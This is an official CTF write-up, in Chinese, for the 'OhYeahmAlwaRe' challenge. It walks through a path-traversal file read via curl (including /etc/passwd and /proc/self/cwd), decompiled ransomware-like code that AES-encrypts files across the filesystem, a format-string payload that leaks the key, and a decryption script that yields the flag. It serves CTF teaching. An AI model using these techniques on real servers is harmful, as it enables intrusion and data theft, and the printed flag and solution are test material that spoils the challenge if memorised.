SCIST final CTF:OhYeahmAlwaRe Official-Writeup

SCIST final CTF 中 OhYeahmAlwaRe 的官方題解

周四 9月 25 2025
1382 字 · 12 分鐘

首先先讀一下題述,這怪怪的 web,rev,crypto,pwn 的 tag 相信嚇了不少人,但其實大部分漏洞都很裸,只要會一點基本概念的話搭配 AI一定解的出來 XD

  • 先觀察一下

app.py

from flask import Flask, request, jsonify, send_file,render_template
import base64
import subprocess
import os
app = Flask(__name__)
app.static_folder = 'static'
OhYeahmAlwaRe = "./OhYeahmAlwaRe"
def init_OhYeahmAlwaRe():
subprocess.run([OhYeahmAlwaRe, "Oh", "Yeah", "CRY"], check=True)
return "Initialization complete ✅"
@app.route('/hacker_image', methods=['GET'])
def hacker_image():
image = request.args.get('hacker')
if not image:
return {"error": "No hacker parameter"}, 400
file_path = os.path.join(os.getcwd(), "static", "hacker", image)
return send_file(file_path, mimetype='image/png')
@app.route('/version',methods=['GET'])
def version():
author = request.args.get('author')
if author:
try:
res = subprocess.run([OhYeahmAlwaRe, author],capture_output=True, text=False, check=True)
encoded = base64.b64encode(res.stdout).decode()
return jsonify({"response": encoded})
except subprocess.CalledProcessError as e:
return jsonify({"error": "Internal Server Error"}), 500
return jsonify({"error": "No author provided"}), 400
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
if __name__ == '__main__':
init_OhYeahmAlwaRe()
app.run(host='0.0.0.0', port=31614, debug=False)

Dockerfile

FROM ubuntu:22.04
ARG SEC_DIR
ARG FLAG
RUN apt-get update && apt-get install -y \
gcc \
libssl-dev \
python3 \
python3-pip \
xxd \
&& rm -rf /var/lib/apt/lists/*
RUN useradd -m ctfuser
WORKDIR /app/${SEC_DIR}
COPY ./templates ./templates
COPY OhYeahmAlwaRe.c ./
COPY ./static ./static
RUN gcc OhYeahmAlwaRe.c -o OhYeahmAlwaRe -lcrypto
RUN head -c 32 /dev/urandom | xxd -p -c 64 > /root/sec.key && chmod 400 /root/sec.key
RUN chown root:root OhYeahmAlwaRe && chmod 4755 OhYeahmAlwaRe
COPY app.py ./app.py
RUN python3 -m pip install flask
RUN rm OhYeahmAlwaRe.c
RUN echo "$FLAG" > /home/flag.txt
EXPOSE 31614
USER ctfuser
CMD ["python3", "app.py"]

從這邊可以觀察到幾件事情

  • 伺服器一開始會啟動 OhYeahmAlwaRe 去初始化整個環境
  • /hacker_image 的功能有 LFI 可以讓你下載檔案
  • /version 可以讓你和 OhYeahmAlwaRe 互動
  • /root 底下有一個奇怪的 key, 但利用 LFI 讀取不了(權限不夠)

不過竟然可以下載檔案的話!那不就水題直接把 flag.txt 載下來就好?!

  • flag.txt
Terminal window
curl "http://lab.scist.org:31614/hacker_image?hacker=../../../../../home/flag.txt" --path-as-is -o ./flag.txt
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 80 100 80 0 0 2132 0 --:--:-- --:--:-- --:--:-- 2162
cat flag.txt
λp��;Xì{%OS�����CڑFi
'|U?$V�?w%

竟然是奇怪的亂碼,我們來載一下其他的檔案看看

  • /etc/passwd
Terminal window
curl "http://lab.scist.org:31614/hacker_image?hacker=../../../../../etc/passwd" --path-as-is -o ./passwd
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 976 100 976 0 0 26795 0 --:--:-- --:--:-- --:--:-- 27111
cat passwd
!:d5�)�P�itM�m֖l){q��,r%g�L�*NƦqt%;e�#{�U��oC_�y�3__sH��C<�2FD;9]c:N)^wҩٗ/k
F�\ش��еVIzҦt{V�-��ւ�-�es}ʾKܭ�1$"�/�´]P�|K�/u_2�n`0׾�ߟN:)"7'g#͇��8�:@[gY� �d�xv˧O�� "�g�y*#+Zq��,�
�"�'��etSHP��h
�N�ψ'g-���8 �%�jc^��z�7,a[OPONs{x
k¯H�֥Si��cAMben@u@@6���\^qPz?9ώץ�0�㈌����1�
��lR��1�tU�Wlʎhڹם}Ù7)���]��%D1�dqQˬxe�X{Kxi}!��� e#�
P7q�PQ�4Wo�V#ڔ�F;H_��.C$��І=yc�(@��A ,MnL�������Q��c(4*ډ�>]ߎ"1רn��pkR
���h0�wڤ̇u /!2�G�ǐ�Y(�ǭZ�߀!,햱��J���]T�ǀ%

也是相同的結果,會不會其實所有檔案都被加密了? 那我們把最奇怪的 OhYeahmAlwaRe 下載來分析一下吧!

但這邊有個技巧,在 Dockerfile 中你不知道 OhYeahmAlwaRe 跑的確切位置,但你可以用一個特別的路徑 /proc/self/cwd 去訪問到 web server 當前跑的目錄!!

Terminal window
curl "http://lab.scist.org:31614/hacker_image?hacker=../../../../../proc/self/cwd/OhYeahmAlwaRe" --path-as-is -o ./OhYeahmAlwaRe
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 17248 100 17248 0 0 388k 0 --:--:-- --:--:-- --:--:-- 391k

好耶!我們直接開 IDA 來分析吧!

  • main
int __fastcall main(int argc, const char **argv, const char **envp)
{
FILE *stream; // [rsp+10h] [rbp-40h]
FILE *v5; // [rsp+18h] [rbp-38h]
_BYTE v6[40]; // [rsp+20h] [rbp-30h] BYREF
unsigned __int64 v7; // [rsp+48h] [rbp-8h]
v7 = __readfsqword(0x28u);
if ( argc == 4 && !strcmp(argv[1], "Oh") && !strcmp(argv[2], "Yeah") && !strcmp(argv[3], "CRY") )
{
stream = fopen("/root/sec.key", "r");
if ( stream )
{
fread(&key_hex, 1uLL, 0x40uLL, stream);
byte_4080 = 0;
fclose(stream);
hex_to_bytes(&key_hex, v6, 32LL);
encrypt_all_files((__int64)v6);
return 0;
}
else
{
return 1;
}
}
else if ( argc == 2 )
{
v5 = fopen("/root/sec.key", "r");
if ( v5 )
{
fread(&key_hex, 1uLL, 0x40uLL, v5);
byte_4080 = 0;
fclose(v5);
hex_to_bytes(&key_hex, v6, 32LL);
show_author(argv[1]);
return 0;
}
else
{
return 1;
}
}
else
{
return 1;
}
}

首先可以看到他主要有兩個功能,當使用 ./OhYeahmAlwaRe Oh Yeah CRY 的時候看起來會加密檔案,讓我們追進去看看他怎麼做的!

  • encrypt_all_files
unsigned __int64 __fastcall encrypt_all_files(__int64 a1)
{
DIR *dirp; // [rsp+10h] [rbp-1020h]
struct dirent *v3; // [rsp+18h] [rbp-1018h]
char s[16]; // [rsp+20h] [rbp-1010h] BYREF
unsigned __int64 v5; // [rsp+1028h] [rbp-8h]
v5 = __readfsqword(0x28u);
dirp = opendir("/");
if ( dirp )
{
while ( 1 )
{
v3 = readdir(dirp);
if ( !v3 )
break;
if ( strcmp(v3->d_name, ".") )
{
if ( strcmp(v3->d_name, "..") )
{
snprintf(s, 0x1000uLL, "/%s", v3->d_name);
if ( !(unsigned int)should_skip_path(s) )
encrypt_file(s, a1);
}
}
}
closedir(dirp);
}
return v5 - __readfsqword(0x28u);
}

這邊就是在選定幾乎所有檔案然後去加密

  • encrypt_file
unsigned __int64 __fastcall encrypt_file(const char *a1, __int64 a2)
{
__int64 v2; // rax
__int64 i; // [rsp+18h] [rbp-11E8h]
FILE *stream; // [rsp+20h] [rbp-11E0h]
__int64 n; // [rsp+28h] [rbp-11D8h]
__int64 size; // [rsp+30h] [rbp-11D0h]
void *ptr; // [rsp+38h] [rbp-11C8h]
void *v9; // [rsp+40h] [rbp-11C0h]
FILE *v10; // [rsp+48h] [rbp-11B8h]
DIR *dirp; // [rsp+50h] [rbp-11B0h]
struct dirent *v12; // [rsp+58h] [rbp-11A8h]
stat buf; // [rsp+60h] [rbp-11A0h] BYREF
char s[16]; // [rsp+1F0h] [rbp-1010h] BYREF
unsigned __int64 v15; // [rsp+11F8h] [rbp-8h]
v15 = __readfsqword(0x28u);
if ( !(unsigned int)should_skip_path(a1) && lstat(a1, &buf) != -1 )
{
if ( (buf.st_mode & 0xF000) == 0x4000 )
{
dirp = opendir(a1);
if ( dirp )
{
while ( 1 )
{
v12 = readdir(dirp);
if ( !v12 )
break;
if ( strcmp(v12->d_name, ".") )
{
if ( strcmp(v12->d_name, "..") )
{
snprintf(s, 0x1000uLL, "%s/%s", a1, v12->d_name);
if ( !(unsigned int)should_skip_path(s) )
encrypt_file(s, a2);
}
}
}
closedir(dirp);
}
}
else if ( (buf.st_mode & 0xF000) == 0x8000 )
{
stream = fopen(a1, "rb");
if ( stream )
{
fseek(stream, 0LL, 2);
n = ftell(stream);
rewind(stream);
if ( n )
{
v2 = n + 15;
if ( n + 15 < 0 )
v2 = n + 30;
size = 16 * (v2 >> 4);
ptr = calloc(1uLL, size);
fread(ptr, 1uLL, n, stream);
fclose(stream);
v9 = malloc(size);
AES_set_encrypt_key();
for ( i = 0LL; i < size; i += 16LL )
AES_ecb_encrypt();
v10 = fopen(a1, "wb");
if ( v10 )
{
fwrite(v9, 1uLL, size, v10);
fclose(v10);
}
free(ptr);
free(v9);
}
else
{
fclose(stream);
}
}
}
}
return v15 - __readfsqword(0x28u);
}

這邊主要是實作的地方,可以看到他是用 AES-ECB-256 加密的(可以從前面看到他讀進來的金鑰是 32 位元)。

另外在只有給定一個參數時,有一個很明顯的 fmt 漏洞,所以我們的目標就很明確了,可以利用這個 fmt 漏洞去 leak 我們的 key.

可以使用 gdb 去看 stack 上的位置或是有人暴力炸也可以!

透過 /version 就可以去跟 binary 互動了。

%2514$p%20%2515$p%20%2516$p%20%2517$p
Powered by
0xc1c767de2b0fd95b 0x8d578ad7879f4133 0x57ca5c137fba6298 0x350e39b09bc06a3e

我們可以用這個 payload 去 leak 出 key (% 記得要 url encode 成 %25 不然會壞掉)

最後就寫腳本解回來就好了!

from Crypto.Cipher import AES
def flag():
key_parts = [
0xc1c767de2b0fd95b,
0x8d578ad7879f4133,
0x57ca5c137fba6298,
0x350e39b09bc06a3e
]
key = b''
for part in key_parts:
key += part.to_bytes(8, 'little')
enc = './flag.txt'
with open(enc, 'rb') as f:
ciphertext = f.read()
cipher = AES.new(key, AES.MODE_ECB)
print(cipher.decrypt(ciphertext).decode())
if __name__ == '__main__':
flag()
Terminal window
python3 de.py
SCIST{UNLe55_KEY_s000Ar_E45y_I_WILl_4dd_M0Re_cRyP70_Nex7_7ImE-!.maybe.+_+}

SCIST{UNLe55_KEY_s000Ar_E45y_I_WILl_4dd_M0Re_cRyP70_Nex7_7ImE-!.maybe.+_+}


Thanks for reading!

SCIST final CTF:OhYeahmAlwaRe Official-Writeup

周四 9月 25 2025
1382 字 · 12 分鐘